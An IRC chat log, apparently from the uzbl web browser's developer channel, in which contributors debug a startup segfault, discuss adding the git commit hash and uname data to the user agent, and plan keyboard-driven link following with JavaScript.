21:21 < sm217>  http://counter.yadro.ru/hit?t14.11;rhttp%3A//linuxforum.ru/;s1280*800*24;uhttp%3A//linuxforum.ru/;0.5935002786734007
21:22 < Dieterbe>  uzbl --uri 'http://counter.yadro.ru/hit?t14.11;rhttp%3A//linuxforum.ru/;s1280*800*24;uhttp%3A//linuxforum.ru/;0.5935002786734007'
21:22 < jouz> Dieterbe / dusanx: ok i just started tinkering with the example you gave me, and just now i realize how powerful javascript can be :).
21:22 < Dieterbe> works fine for me
21:22 < sm217> Dieterbe: no :D
21:22 < dusanx> jouz: :)
21:23 < Dieterbe> jouz: still i would prefer plain C bindings to the DOM , but i guess it will do
21:23 < sm217> when it loads a page, it does requests like that one
21:23 < dusanx> jouz: we need just code to modify search targets on request, I would keep navigation within C key handling
21:23 < sm217> I need to catch them; actually forget what I said and wait :P
21:25 < jouz> yep, i haven't looked much into states yet, but i guess we need another one for link-following besides "command" and "insert", right?
21:25 < dusanx> jouz: no, see how parameters work
21:25 < dusanx> gg search-term in last dieter experimental
21:26 < dusanx> or o uri
21:26 < dusanx> we already have all handling / searching we need
21:26 < dusanx> all you need to do is to a) nicely select _visible_ links and mark them somehow
21:27 < dusanx> b) remove them if this command in canceled
21:27 < dusanx> f is already defined as follow_link, all we need to do is use f_, wait for parameter and do search :)
21:32 < jouz> ah ok... i'm getting the idea
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21:33 < dusanx> jouz: let me find in log, I had a cunning plan
21:33 < jouz> (uzbl's code made a lot of progress since i last had a explicite look)
21:34 < dusanx> jouz: don't know if this helps:
21:34 < dusanx> -on key numerate whatever all visible links
21:34 < dusanx> -on key search our numeration
21:34 < dusanx> -on enter follow link
21:34 < dusanx> -on esc remove numeration
21:34 < dusanx> that's it
21:34 < dusanx> so JS should do some highlighting that search can find and remove it on request
21:35 < dusanx> rest is C code
21:35 < jouz> yeah that sounds logic
21:37 < sm217> uh, I'm tired. I'll finish with cookies later...
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21:48 < Dieterbe> again, quite a productive weekend
21:48 < Dieterbe> next week cookies and link following and we're done :P
21:49 < Dieterbe> oh, and rob|'s refactoring stuff
21:50 < dusanx> Dieterbe: I am not sure if you should add some official announce on that forum topic, uzbl can seriously be used (apart from cookies)
21:53 < dusanx> instead of answering to life-sucking wraith :P
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21:59 < Dieterbe> :P
21:59 < Dieterbe> hello github !!
22:01 < Dieterbe> dusanx: man i really want to have the sha1 hash of the commit in the uzbl user agent :P then we are the leetest browser ever
22:02 < dusanx> 1337 !
22:03 < dusanx> can you show me what sha1? on github?
22:04 < Dieterbe> o_O
22:04 < Dieterbe> what do you mean
22:04 < dusanx> sha1 before pushing?
22:05 < dusanx> tell me how you calculate it and I'll tell you how to add it into version ;)
22:07 < Dieterbe> attempt 1: git log | head -n 1 | awk '{print $2}'
22:07 < ruskie> the sha1 should be gotten from the checkout while building through git tools
22:08 < ruskie> quite some projects do it
22:08 < Dieterbe> the above gives the sha1 of the latest commit, which is not correct if you build from an unclean working directory
22:08 < dusanx> Dieterbe: we need sha1 calculated before pushing so think in that direction
22:08 < Dieterbe> ok
22:08 < ruskie> Dieterbe, you can detect if there are changes and just add +changes
22:08 < Dieterbe> before pushing or before commiting dusanx ?
22:09 < Dieterbe> ruskie: what do yoeu mean?
22:09 < dusanx> my idea: add %version% or something into agent string, make sha1 > version.h
22:09 < ruskie> XMMS2 version 0.6 DrMattDestruction (git commit: 29a2dcfc8db33e6e57c0c994c8286cabfbf5f186-dirty)
22:09 < dusanx> and make final-make that packs everything
22:09 < ruskie> that's how xmms2 has it
22:09 < ruskie> the -dirty means there were local changes that weren't commited
22:09 < dusanx> but I am not sure if that's possible ;)
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22:15 < github> uzbl: Barrucadu experimental SHA1-6f98b4d
22:15 < github> Merge branch 'anydot/master' into experimental
22:15 < github> http://bit.ly/1a0j1f
22:15 < github> uzbl: Barrucadu experimental SHA1-d8728e6
22:15 < github> Added no_fifo and no_socket variables to config file.
22:15 < github> http://bit.ly/Zkad9
22:15 < github> uzbl: Barrucadu experimental SHA1-7c19691
22:15 < github> Merge branch 'dieter/experimental' into experimental
22:15 < github> http://bit.ly/MOMbS
22:15 < github> uzbl: Barrucadu experimental SHA1-8f9c1fb
22:15 < github> Removed no_fifo and no_socket variables.
22:15 < github> http://bit.ly/ni34Q
22:15 < github> uzbl: Barrucadu experimental SHA1-8b88ac0
22:15 < github> Merge branch 'dieter/experimental' into experimental
22:15 < github> http://bit.ly/8kyfA
22:15 < github> uzbl: Barrucadu experimental SHA1-246be6d
22:15 < github> Fixed a warning.
22:15 < github> http://bit.ly/6yhiR
22:15 < github> uzbl: Barrucadu experimental SHA1-d0dfcc7
22:15 < dusanx> barrucadu: you here?
22:15 < github> Fixed code style error.
22:15 < github> http://bit.ly/40RVU
22:15 < github> uzbl: Barrucadu experimental SHA1-01cfcff
22:15 < github> Added command "script" to run javascript on the current page.
22:15 < github> http://bit.ly/JXGmv
22:15 < github> uzbl: Dieter Plaetinck experimental SHA1-4bd6b3f
22:15 < github> merged in Barrucadus stuff
22:15 < github> http://bit.ly/3Z49F
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22:16 < Dieterbe> dusanx: hmm but the problem is, if you get the sha1 sum and write the sha1 sum into any file, your working copy is dirty again because a file has changed. and you can't really put the file in .gitignore either because you need it
22:16 < dusanx> yup, just thinking about that :( sorry
22:16 < dusanx> it was a good idea
22:18 < Dieterbe> but it must be possible if so many projects do it
22:19  * Dieterbe downloads xmms2 source code
22:19 < dusanx> barrucadu: you here?
22:21 < Dieterbe> dusanx: meh xxms2 uses some python stuff. too complicated to study at this point of the day :P
22:22 < dusanx> don't speak python, sorry
22:22 < dusanx> this was way to productive day anyway ;)
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22:25 < ruskie> Dieterbe, it's waf
22:25 < ruskie> Dieterbe, but just try grepping for git in there
22:27 < Dieterbe> no man, i'm going to sleep i think
22:27 < ruskie> waftools/gittools.py is what you need for the functionality...
22:27 < ruskie> but yeah I'm heading to bed as well
22:27 < dusanx> me too
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22:27  * ruskie dislikes python... prefers ruby
22:28 < Dieterbe> goodnight all
22:28  * ruskie powers down
22:28 < Dieterbe> and thanks for all the hard work :) except you rob| !!! :D
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22:28 < ruskie> lol
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08:46 < dodobas> yello
09:10 < Dieterbe> morning
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09:36 < ruskie> good morrow all
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09:40 < rob|> the experimental branch does segfault on startup, is this a known issue? just wanted to ask before i need to debug myself
09:40 < rob|> reffering to dieter's branch
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09:41 < Dieterbe> rob|: that's odd
09:41 < Dieterbe> first time someone mentions this :/ and we've been testing yesterday
09:41 < Dieterbe> did you take my exact code or merge it into yours?
09:42 < rob|> i took your code, i.e. a clean experimetal pull
09:43 < Dieterbe> that's very odd
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09:43 < barrucadu> Hi
09:44 < Dieterbe> hey barrucadu 
09:44 < Dieterbe> rob|: so if you do './uzbl' it segfaults .. what about ./uzbl --config examples/configs/sampleconfig ?
09:44 < rob|> yeah, wanted to begin with refactoring and the struct things we discussed last week, though i#d like to do this on a working revision
09:44 < rob|> just a sec
09:45 < Dieterbe> barrucadu: i think glib has some string replacement functions
09:45 < Dieterbe> also, i would check first if we can't use the pango markup language for this
09:46 < rob|> Dieterbe: when specifing a config file it does not segfault
09:48 < Dieterbe> well, someone will have to investigate. i can't right now cause i'm at work
09:48 < Dieterbe> but i'm building the latest uzbl-experimental-git package
09:48 < Dieterbe> to verify if it also segfaults here
09:49 < Dieterbe> jep. i can reproduce it
09:49 < Dieterbe> when i temporarily move my ~/.config/uzbl to another name and run `uzbl` it segfaults
09:50 < barrucadu> I've just checked and my branch doesn't segfault with no config
09:50 < rob|> probably due to some uninitialized config values/variables
09:50 < Dieterbe> did you remove your ~/.config/uzbl also barrucadu ?
09:50 < barrucadu> Yes
09:51 < barrucadu> And it printed "No configuration" when loading
09:51 < Dieterbe> dieter@dieter-dellD620-arch .config uzbl
09:51 < Dieterbe> Uzbl start location: uzbl
09:51 < Dieterbe> XDG_CONFIG_HOME: /home/dieter/.config
09:51 < Dieterbe> XDG_CONFIG_DIRS: /etc/xdg
09:51 < Dieterbe> No configuration.
09:51 < Dieterbe> History handler: disabled
09:51 < Dieterbe> Download manager: disabled
09:51 < Dieterbe> Fifo directory: disabled
09:51 < Dieterbe> Socket directory: disabled
09:51 < Dieterbe> Always insert mode: FALSE
09:51 < Dieterbe> Show status: FALSE
09:51 < Dieterbe> Status top: FALSE
09:51 < Dieterbe> Modkey: disabled
09:51 < Dieterbe> Segmentation fault
09:51 < Dieterbe> should be fairly easy to spot where the problem is
09:52 < barrucadu> 8:51:16 /home/barrucadu % uzbl
09:52 < barrucadu> Uzbl start location: uzbl
09:52 < barrucadu> XDG_CONFIG_HOME: /home/barrucadu/.config
09:52 < barrucadu> XDG_CONFIG_DIRS: /etc/xdg
09:52 < barrucadu> No configuration.
09:52 < barrucadu> History handler: disabled
09:52 < barrucadu> Download manager: disabled
09:52 < barrucadu> Fifo directory: disabled
09:52 < barrucadu> Socket directory: disabled
09:52 < barrucadu> Always insert mode: FALSE
09:52 < barrucadu> Show status: FALSE
09:52 < barrucadu> Status top: FALSE
09:52 < barrucadu> Modkey: disabled
09:52 < barrucadu> Then some GLib warnings…
09:52 < barrucadu> Wrong http_debug level, ignoring.
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09:52 < barrucadu> Proxy configured: none
09:52 < barrucadu> HTTP logging level: 0
09:52 < barrucadu> User-agent: default
09:52 < barrucadu> Maximum connections: -1
09:52 < barrucadu> Maximum connections per host: -1
09:53 < barrucadu> Then some warnings about my hackish GTK theme…
09:53 < barrucadu> Then it loaded
09:54 < Dieterbe> so probably where you get the glib warnings is where we get segfaults
09:55 < barrucadu> (uzbl:4816): GLib-CRITICAL **: g_key_file_get_value: assertion `key_file != NULL' failed
09:55 < barrucadu> (uzbl:4816): GLib-CRITICAL **: g_key_file_get_integer: assertion `key_file != NULL' failed
09:55 < barrucadu> (uzbl:4816): GLib-CRITICAL **: g_key_file_get_value: assertion `key_file != NULL' failed
09:55 < barrucadu> (uzbl:4816): GLib-CRITICAL **: g_key_file_get_integer: assertion `key_file != NULL' failed
09:55 < barrucadu> (uzbl:4816): GLib-CRITICAL **: g_key_file_get_integer: assertion `key_file != NULL' failed
09:55 < barrucadu> There they are
09:56 < Dieterbe> aha
09:56 < Dieterbe> there are some if(res) missing
09:56 < barrucadu> Also, I can't find any string replacement functions in the GNOME GLib reference, so we'll have to stick to my function for now. :(
09:56 < barrucadu> I wonder why that segfaults for you but not me then…
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09:57 < Dieterbe> the stuff in /* networking options */
09:57 < Dieterbe> it needs an if(res)
09:58 < Dieterbe> similar to how we set the options like modkey etc, they also are wrapped in a if(res)
09:58 < Dieterbe> rob|: can you check if that fixes it for you?
09:59 < barrucadu> No more GLib messages :)
10:01 < Dieterbe> barrucadu: http://marc.info/?l=gtk-app-devel&m=96359621809658&w=2
10:04 < barrucadu> Dieterbe: thanks :)
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10:04 < barrucadu> Now I just need to figure out how to get the kernel version and the sha1sum of the commit and that's all the info we want :)
10:05 < Dieterbe> barrucadu: did you test the new str_replace?
10:05 < barrucadu> yes
10:05 < Dieterbe> ok
10:05 < barrucadu> works perfectly
10:05 < dusanx> 'morning :)
10:05 < dusanx> exit
10:05 < barrucadu> Hi dusanx
10:05 < dusanx> oops
10:05 < dusanx> too early, wrong window :)
10:06 < barrucadu> :p
10:06 < Dieterbe> :)
10:07 < Dieterbe> barrucadu / rob| / dusanx i was hoping that with the pango markup language we cannot only do markup but also variable substitution, but apparently not :(
10:08 < dusanx> pango in statusbar?
10:08 < Dieterbe> yeah
10:08 < rob|> hmm, let's discuss this a bit later have an appoinment with the mechanic in a couple of minutes
10:09 < Dieterbe> so i suggest we built our own variable replacement thing based on a struct or something, and using barrucadu's str_replace function
10:09 < dusanx> cool. I have status bar turned off :)
10:09 < Dieterbe> then we can route statusbar through pango + str_replace(s), and user agent and window title just through the str_replace(s)
10:09 < dusanx> Dieterbe: yup, that's correct way
10:10 < Dieterbe> i think one of you guys can get this working in 10-30 minutes :P
10:11 < Dieterbe> uber kungfu master dusanx can do it in 5
10:11 < barrucadu> Dieterbe: I'm currently trying to figure out how to get the kernel version in the code. I think kunfu master dusanx should do it :p
10:11 < dusanx> Dieterbe: so true :) My wife has day off and we are going to walk... I am probably away for the whole day :P
10:11 < Dieterbe> barrucadu: there are syscalls for that
10:12 < Dieterbe> dusanx: damn you, woman! :P
10:13 < dusanx> Dieterbe: this is deserved pause for me :)
10:14 < dusanx> hope to see cookies today
10:14  * ruskie still thinks adding all this info during building is better ;)
10:14 < dusanx> got to go, see you later ;)
10:14 < Dieterbe> have fun
10:14 < barrucadu> bye
10:16 < barrucadu> Dieterbe: care to share these syscalls? I'm not having much luck with defining a symbol in the makefile :p
10:30 < sm217> well, I'm quite busy but will try to do cookies today.
10:38 < barrucadu> Aha, got it working :)
10:39 < Dieterbe> barrucadu: i don't know them from the top of my head. i would guess uname() but not sure
10:39 < Dieterbe> barrucadu: so how do you do it?
10:39 < ruskie> http://rafb.net/p/YTnOom33.html <-- :) easy to make it work from the build system
10:39 < ruskie> first time I ever wrote a Makefile at that
10:39 < barrucadu> Dieterbe: I figured out how to define a symbol in the makefile and successfully pass it to GCC with the -D option
10:40 < Dieterbe> barrucadu: whoa.. but then you get the kernel of the system it was built on
10:41 < barrucadu> True, I'll investigate the uname() function
10:42 < barrucadu> The ARCH and COMMIT macros I'll keep though, not much sense in figuring out every time Uzbl is loaded that it's a 64 bit processor…
10:43 < Dieterbe> i think you can get arch easily through a syscall too
10:43 < Dieterbe> commit should be done through macros indeed
10:44 < barrucadu> Dieterbe: True, but it just adds an unnecessary syscall every time Uzbl is loaded. The arch won't exactly change, so there is no need.
10:44 < Dieterbe> i guess it depends on whether you want the arch of uzbl binary itself (in that case use macro) or the arch of the host operating system (in that case use syscall)
10:45 < Dieterbe> lol. a syscall to get a variable such as arch is WAY cheaper then all the stuff we do now (networking, i/o to disk etc)
10:45 < barrucadu> I suppose :p
10:45 < ruskie> why not get all this info at build time and avoid all the extra work?
10:47 < Dieterbe> ruskie: like i said.. do we want the arch of the uzbl binary or the arch of the system we run on
10:47 < Dieterbe> you can run 32binaries on 64bit systems, so.. in that case user agent should say 64bit imo
10:47 < Dieterbe> also the kernel is definitely something you can only know at runtime
10:48 < ruskie> only if you want to know the runtime kernel
10:48 < ruskie> which is leaking quite a lot of info...
10:48 < barrucadu> Dieterbe: I think it could be a little misleading if the user agent reports 64 bit when the browser itself is 32 bit
10:48 < Dieterbe> if the user wants to put his kernel version into his user agent, that's his damn right
10:49 < ruskie> sa this will not be on by default then?
10:49 < Dieterbe> ruskie: of course not
10:49 < ruskie> no prob then :)
10:49 < Dieterbe> the whole idea is the user can create the complete user agent string like "uzbl $arch $kernel foo webkit more leet stuff here"
10:49 < ruskie> :)
10:50 < ruskie> plan on adding a $distro in as well?
10:50 < Dieterbe> barrucadu: maybe we should have 2 vars then. arch_system and arch_uzbl
10:50 < barrucadu> I'll add all the stuff reported by uname(), then stick some comments in the example config and commit :)
10:50 < barrucadu> Dieterbe: I was thinking that
10:57 < dpb> why does the website list git as a build depend? git isn't used for building..
10:58 < ruskie> it's needed to checkout
10:58 < dpb> you can just get a tar snapshot, it's not needed
10:59 < ruskie> and I guess it's needed to get the hash as well
10:59 < Dieterbe> aha ruskie brings up a good point
10:59 < Dieterbe> in fact, I think you cannot get a hash without a .git directory
11:00 < ruskie> xmms2 stores it in commithash file
11:00 < ruskie> so that even a tarballed release has a hash
11:00 < dpb> why do you need the hash?
11:03 < ruskie> the store git rev-parse --verify HEAD and git diff-index -r HEAD
11:04 < ruskie> erm they even
11:04 < ruskie> in a commithash file... first line being the last hash and the rest being all the various files
11:06 < ruskie> could be used when generating a release tarball
11:09 < dusanx> WORK HARDER! (went inside to pick up a few things -> gone already) :P
11:10 < barrucadu> :p
11:13 < Dieterbe> dpb: just because we can :P
11:13  * barrucadu wonders why segfaults *always* crop up
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11:21 < dpb> Dieterbe: well if it really needs it, you should make it usable without the .git dir.
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11:36  * barrucadu feels like an idiot
11:36 < barrucadu> Pointers are tricky things <.>
11:37 < anydot> btw, you are leaking memory in replace function.
11:37 < anydot> instead of join(.., split(...))
11:38 < anydot> you must char **temp = split(...); char *result = join(...); g_strfreev(temp); return result;
11:38 < anydot> And even caller must free this that result after use.
11:39 < anydot> Also, instead of build-time evaluation of machine/architecture, have look at man 2 uname
11:39 < anydot> That's the right way.
11:39 < barrucadu> That's what I've just got working :)
11:40 < anydot> OK
11:42 < ruskie> anydot, there really is no right way ;)
11:42 < anydot> There is. :)
11:42 < barrucadu> There are just less wrong ways :p
11:42 < anydot> Well, depends of definition of right way.
11:43 < Dieterbe> no there IS a right way. it's called uzbl
11:47 < ruskie> anydot, anyway build-time is different than run-time ;) and to provide a build arch vs run arch you would need both ;)
11:48 < ruskie> though iirc elf header might include some arch...
11:48 < anydot> Well, in useragent string you wan't to know the arch where it run.
11:48 < ruskie> anydot, this is just a var so it can be any :)
11:49 < barrucadu> ruskie: Surely it's just easier to pass a variable during compile time than to check the elf header every time it's run for a variable which will never change :p
11:49 < ruskie> barrucadu, I consider build-time to be the best option ;)
11:49 < anydot> uname doesn't get it's information from elf header.
11:49 < ruskie> anydot, and most useragents usually have only build-time info
11:50 < barrucadu> Anyway, we have both: build and run time, see my sample configs :)
11:50 < ruskie> :)
11:50 < anydot> barrucadu: There's no reason to have both.
11:50 < ruskie> anydot, there is
11:50 < anydot> Which? :)
11:51 < barrucadu> Well, Dieter wanted run-time and I wanted build-time, as reporting x86_64 for a i686 binary would be misleading. That's why
11:51 < ruskie> same reason as having none
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11:51 < ruskie> I tend to mangle useragents anyway
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11:58 < Dieterbe> * barrucadu wonders why segfaults *always* crop up -> because we have a lot to learn about C :)
12:00 < anydot> There's simple answer: You are doing it wrong. :)
12:01 < barrucadu> Dieterbe: This time it was a simple case of being stupid :p
12:02 < barrucadu> It's only 11AM. I cna be forgiven <.>
12:02 < jouz> hey, can it be that the webkit javascript engine does not allow document.link[i].click() ? i get "TypeError: Result of expression 'document.links[11].click' [undefined] is not a function." (without this, its hard to "click" without a mouse / with a keyboard :(
12:02 < barrucadu> *can
12:03 < anydot> Why to call click when there is document.location :)
12:03 < Dieterbe> jouz: can't we just retrieve where the link points to (getValue() in js) and go to the new page in C
12:04 < jouz> Dieterbe: hmm and if the link is href="javascript:something"? that doesn't work with uri, does it?
12:04 < Dieterbe> jouz: good point
12:05 < Dieterbe> it's probably better indeed to simulate a click
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12:08 < jouz> further i think if you do it via uri, you dont get the REFERER set properly, since it (should) only be when a proper link-request occurs?!
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12:10 < Dieterbe> right, another good point
12:10 < Dieterbe> i don't think a browser *has* to set the referrer, but most do and it can be quite useful
12:10 < barrucadu> And some sites use it as an (admittedly weak, but every little helps) security feature
12:11 < barrucadu> So not setting it would break those
12:11 < jouz> barrucadu: thats true
12:12 < jouz> i'll ask the webkitters if they permit .click()
12:13 < barrucadu> Oh, wow, Uzbl has existed for a fortnight :D
12:13 < ruskie> yay
12:13 < ruskie> celebration
12:14  * barrucadu hands out drinks and those little cocktail sausages that always seem to be present
12:16 < Dieterbe> heh that reminds me of something
12:16 < Dieterbe> rob|: has invited us all
12:20 < barrucadu> rob| has invited us all…
12:20  * barrucadu waits for the rest of the sentence
12:22 < Dieterbe> just a sec
12:22 < ruskie> lol
12:22 < Dieterbe> 19:02 < rob|> hehe, i can invite you guys to a czech beer, been in prague
12:23 < jouz> prague is one awesome city
12:23  * ruskie prefers a Leffe beer from Belgium ;)
12:23 < ruskie> anyway off
12:24 < Dieterbe> ruskie: heh. leffe is for ladies :)
12:24 < jouz> :D
12:24  * barrucadu has never been to prague
12:24 < barrucadu> Or even that area of Europe, for that matter
12:25 < Dieterbe> barrucadu: what places on the "main land" ;) have you already visited?
12:26 < barrucadu> France, Sicily (several times), Sweden, north Poland, Germany, Spain.
12:26 < barrucadu> And I've passed through the Netherlands and Italy
12:26 < barrucadu> Pobably passed through some more which I've forgotten…
12:26 < barrucadu> *Probably
12:27 < Dieterbe> Belgium is not on your list? :P
12:29 < barrucadu> No, never been :p
12:29 < barrucadu> I have eaten chocolate from Belguim though :p
12:30 < jouz> :D i currently live in the netherlands and study in germany. i plan to visit bruges, because i loved the film so much (In Bruges)
12:30 < jouz> ah i live in germany and study in netherlands, thats what i meant oO
12:31 < sm217> Lol :(
12:31 < sm217> *:)
12:31 < jouz> still drunk from that 1. May weekend ;)
12:31 < sm217> Some people swap letters as they type, other swap places :p
12:31 < jouz> :D
12:32 < Dieterbe> so during the week you also stay in the netherlands i assume?
12:32 < jouz> Dieterbe: yes
12:32 < sm217> I even installed sl for lulz, so when I type sl instead of ls, I get that funny train
12:32 < Dieterbe> omg :P
12:32 < jouz> i have a 9m² room in a student house :D
12:33 < ruskie> Dieterbe, lol I prefer it's taste to a lot of other crap beers around but then for me I only drink beer with a pizza... so when I do I want something that's good for me
12:33 < jouz> sm217:i would see trains like every 2 seconds -_-
12:33 < sm217> heh
12:33 < ruskie> I don't like most piss like beers that exist ;)
12:34 < ruskie> Guiness would be my second choice ;) then there really isn't anything else ;)
12:34 < Dieterbe> dieter@dieter-dellD620-arch ~ pacman -Ss sl | wc -l
12:34 < Dieterbe> 253
12:34 < Dieterbe> help?
12:34 < ruskie> ???
12:34 < ruskie> what's that?
12:35 < sm217> Dieterbe: it's in aur
12:35 < sm217> and called just sl
12:35 < Dieterbe> dieter@dieter-dellD620-arch ~ yaourt -Qi sl
12:35 < Dieterbe> error: package "sl" not found
12:35  * barrucadu installs sl
12:35 < sm217> lol
12:35 < sm217> Dieterbe: -Si
12:35 < Dieterbe> oops yeah
12:35 < sm217> Q is for local ones
12:35 < Dieterbe> my bad
12:36 < Dieterbe> building :)
12:36 < Dieterbe> lol
12:37 < jouz> bad news everyone: webkit does *not* support .click() :(
12:37 < Dieterbe> funneh
12:37 < Dieterbe> crap
12:37 < jouz> this is good when it comes to security, but crap for our plan :(
12:38 < Dieterbe> security? seems to me like we should prevent executing scripts from untrusted sources. not disabling all functions that a bad script could possibly use
12:39 < sm217> ruskie: http://www.picamatic.com/show/2009/05/04/02/35/3509992_1280x800.png <- it runs thtough you screen :)
12:42 < jouz> Dieterbe: ack
12:43 < jouz> Dieterbe: they do have .click() on buttons, by the way...
12:43 < barrucadu> Would it be too messy / horrible to turn links into buttons?
12:44 < haste> I would call it horrible
12:44 < Dieterbe> jouz: are you sure the click() event is defined for links? mabye it only exists for buttors? i mean in "the javascript spec"
12:44 < jouz> barrucadu: :( its not the cleanest solution anyway, but this would make it *urgs*
12:45 < barrucadu> jouz: Maybe only turn the link being clicked into a button
12:46 < jouz> barrucadu hmm, i think Dieterbe might be onto something, maybe i looked in the wrong place
12:47 < jouz> uhh guys!!! checkout "accesskey" !!!!
12:48 < jouz> ah maybe not
12:49 < ruskie> hmm how do all the plugins for firefox and such like do the key based link stuff? I'm guessing elinks and company have this built in anyway so pointless there
12:52 < jouz> http://www.smackthemouse.com/20031231
12:53 < jouz> ruskie: i'll have a look now at the "Hit-a-Hint" plugin
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12:53  * barrucadu reads
12:53 < litemotiv> morning y'all ;-)
12:53 < barrucadu> jouz: Does this mean webkit will handle all the link following if we just use javascript to add access keys?
12:53 < barrucadu> hi
12:54 < jouz> barrucadu: i'll try how far this works...
12:58 < dpb> uzbl doesn't use the GOptionEntry correctly, it should display the needed entries correctly
12:58 < dpb> http://pastebin.ca/1412016 <- like that
13:01 < barrucadu> Hmm, we don't use the verbose flag anywhere, so it may as well be removed…
13:01 < jouz> urgh... the access keys don't work for me at all. whatever i do. probably because the my dwm-metakey is Alt, and thats what we're supposed to press with the accesskey.
13:01 < jouz> its all sh*t
13:02 < jouz> further there is only one accesskey to bind - that makes like (0-9|Aa-Zz) ~ 58 links... i dont know if thats enough for all cases
13:10 < jouz> ok .click() is not supposed to work on anything but buttons. IE and Opera 7.something supported it, but that was non-specification
13:20 < jouz> what we can do is .focus(), but it in the webkit widget, if a link has the focus we cant request it by just hitting return :(
13:23 < ruskie> jouz, also vimperator maybe? iirc that one also has this
13:23 < Dieterbe> barrucadu: the verbose flag will get implememted some day i guess :P
13:25 < jouz> ruskie: indeed
13:29 < jouz> i think they manually fire up the mouse events on the element somehow... but to be honest, i don't quite got it yet
13:51 < Dieterbe> dpb> http://pastebin.ca/141201 -> what's the last field for exactly?
13:54 < jouz> i will try to make the "follow-link by window.location'ing the href of the selected link" later in the train, so we at least have something marginal useful.
13:55 < Dieterbe> jouz: you probably already checked with the webkit guys on our issue?
13:56 < dpb> Dieterbe: for showing =URI etc in the --help
13:56 < dpb> so people will actually know the options need an argument
13:56 < jouz> i asked them if they have a click() on A elements, and they said "only on buttons". that was it basically
13:57 < Dieterbe> aha ok dpb 
13:57 < Dieterbe> jouz: make you could poke a bit further :) tell them what we're trying to do, they probably have some ideas how we could do it
13:58 < jouz> Dieterbe: :) i'll better write to their ML. i fail at trying to explain complex problems in irc-chat-windows ;)
13:59 < Dieterbe> also good
14:00 < jouz> :) btw: i did the first link-following 2 secs ago ;)
14:02 < Dieterbe> yeah but in a way that breaks http referrer and javascript/ajax links?
14:02 < jouz> it does... (think of the onclick="" attribute)
14:03 < jouz> i haven't found examples to test referrer and href="javascriptthingy"...
14:04 < Dieterbe> it does... break? or it does.. work?
14:05 < jouz> it does break
14:06 < jouz> uh and another bad news... on ajax-heavy-pages, the document.links[i] doesn't seem like an bulletproof identifyer for a link...
14:07 < Dieterbe> jouz: you can test the referrer by setting http_debug to 3 in your config. you'll see the http headers
14:07 < jouz> Dieterbe: nice
14:09 < Dieterbe> jouz: well we should really ask the webkit guys for best practices. their advice is very valuable
14:09 < jouz> Dieterbe: full ack
14:09 < Dieterbe> if there is no feasible way yet without 20 workarounds, we should delay links following
14:11 < jouz> referrer is not set as expected :(
14:11 < jouz> Dieterbe: yep thats true
14:13 < jouz> uh i misread the output, referrer seems to be set nicely by webkit
14:29 < Dieterbe> btw barrucadu you were wrong: dieter@dieter-dellD620-arch ~ date -d '23 april 2009 + 14 days'
14:29 < Dieterbe> Thu May  7 00:00:00 CEST 2009
14:29 < Dieterbe> 3 more days to go :)
14:30 < barrucadu> The first commit on github is on the 21st :p
14:30 < barrucadu> *was
14:32 < Dieterbe> aha you're right
14:34 < barrucadu> I'm always right.
14:34 < barrucadu> <.>
14:34 < barrucadu> :p
14:35 < Dieterbe> except that 21 + 14 days == march 5 but other then that yeah you're always right
14:36 < Dieterbe> (imagine a VERY sarcastic tone while reading that :P)
14:37 < barrucadu> :p
14:37 < barrucadu> Well, I was close <.>
14:41 < Dieterbe> sure, if you find 86400 seconds "close" ...
14:52 < barrucadu> It is close if you consider the age of the Earth <.>
14:52  * barrucadu returns to chopping onions
14:53 < jouz> ok i sent a mail to webkit-dev. might be some advertising as well ;)
14:58  * Dieterbe opens https://lists.webkit.org/pipermail/webkit-dev/2009-May/thread.html
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15:25 < Dieterbe> jouz: heh. your mail shows up twice
15:25 < jouz> d'oh
15:25 < jouz> DAMNIT
15:26 < jouz> i thought the first one wasn't delivered (sent it with mutt and i have some problems with it using gmail) so i re-sent it with the gmail interface
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15:27 < jouz> its funny though, i still dont get any feedback from the list
15:29 < Dieterbe> what feedback do you want?
15:29 < jouz> usually you get your mail back as well from subscribed lists ( i even double-checked it in the lists settings! )
15:30 < Dieterbe> oh, indeed
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15:50 < rob|> so, i started with the refactoring. first things already pushed, though this needs a bit more wotk - please don't merge with the main repo until i give you the go
15:51 < Dieterbe> heh :)
15:52 < Dieterbe> i believe in an incremental process. if i consider your branch better then mine, i'll merge it in.
15:52 < rob|> well, things are messy right now - i didn't remove all unused vars or did not convert all old vars to the new systems, so i'd recoomend to wait with the merge :)
15:53 < Dieterbe> ok. i can imagine it's quite some work, especially if you want to test changes
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15:54 < rob|> i'd be happy to get a helpful hand from you guys, nothing fancy to do other then some renaming of variables
15:54 < rob|> *than
15:55 < Dieterbe> i would love to, but i'm only available from 19h on (it's now 15:55 here)
15:56 < rob|> we can also simplify some functions and the Command structure cause it's not necessary to pass web_view around all the time
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15:57 < rob|> it's a pitty you didn't do it like this from the very beginnings ;)
15:58 < Dieterbe> it's a pity i'm such a C noob :)
15:59 < Dieterbe> but let's be optimistic
15:59 < Dieterbe> uzbl will be the next best thing, thanks to all contributions from many people :)
16:02 < rob|> i really like self-documenting code - and i believe that by using this method many things should be clear and need less comments while allowing a better organization of internal data
16:03 < Dieterbe> self-documenting code?  you mean well commented code?
16:05 < rob|> no i mean code that's written in such a way that comments become superfluous
16:05 < rob|> the code itself should make clear what's going on in which ways and not the comments
16:06 < Dieterbe> hmm that's a nice ideal, but i wonder if this can really be done in practice
16:06 < rob|> sure, why not?
16:06 < Dieterbe> is it just a matter of elaborate function and variable names?
16:06 < rob|> that for one
16:07 < rob|> and transparent data structures for the other
16:07 < Dieterbe> well it seems like a nice goal
16:08 < Dieterbe> you can start with it, i can start helping you as soon as i get home
16:09 < rob|> right, i already made the first step towards that ideal. i hope you guys like/accept it, then we can merge changes and start developing on this base
16:10 < rob|> Dieterbe: you from germany?
16:11 < Dieterbe> rob|: no, Belgium
16:11 < rob|> ah, ok
16:11 < Dieterbe> if you push to github i can have a look though
16:12 < yiyus> Dieterbe: may I ask where in Belgium?
16:12  * yiyus lives in Gent
16:13 < Dieterbe> yiyus: sweet. I'm from Laarne , which is like 10km from Gent :D
16:15 < yiyus> nice. I think that gives me some chances to be present in the next uzbl con ;)
16:15 < Dieterbe> :P
16:16 < rob|> we should meet in prague, though remember to go there by train ;)
16:16 < Dieterbe> :) or wherever rob| lives because he invited us for a beer :)
16:18 < anydot> rob|: And you are from where?
16:18 < rob|> germany, south germany - regensburg, to be exact
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16:30 < Dieterbe> whoa, that's far away
16:30 < Dieterbe> i had somewhat planned to go to froscon in germany
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17:12 < fogobogo> Dieterbe: ping
17:13 < fogobogo> Dieterbe: http://omploader.org/vMW1mMA
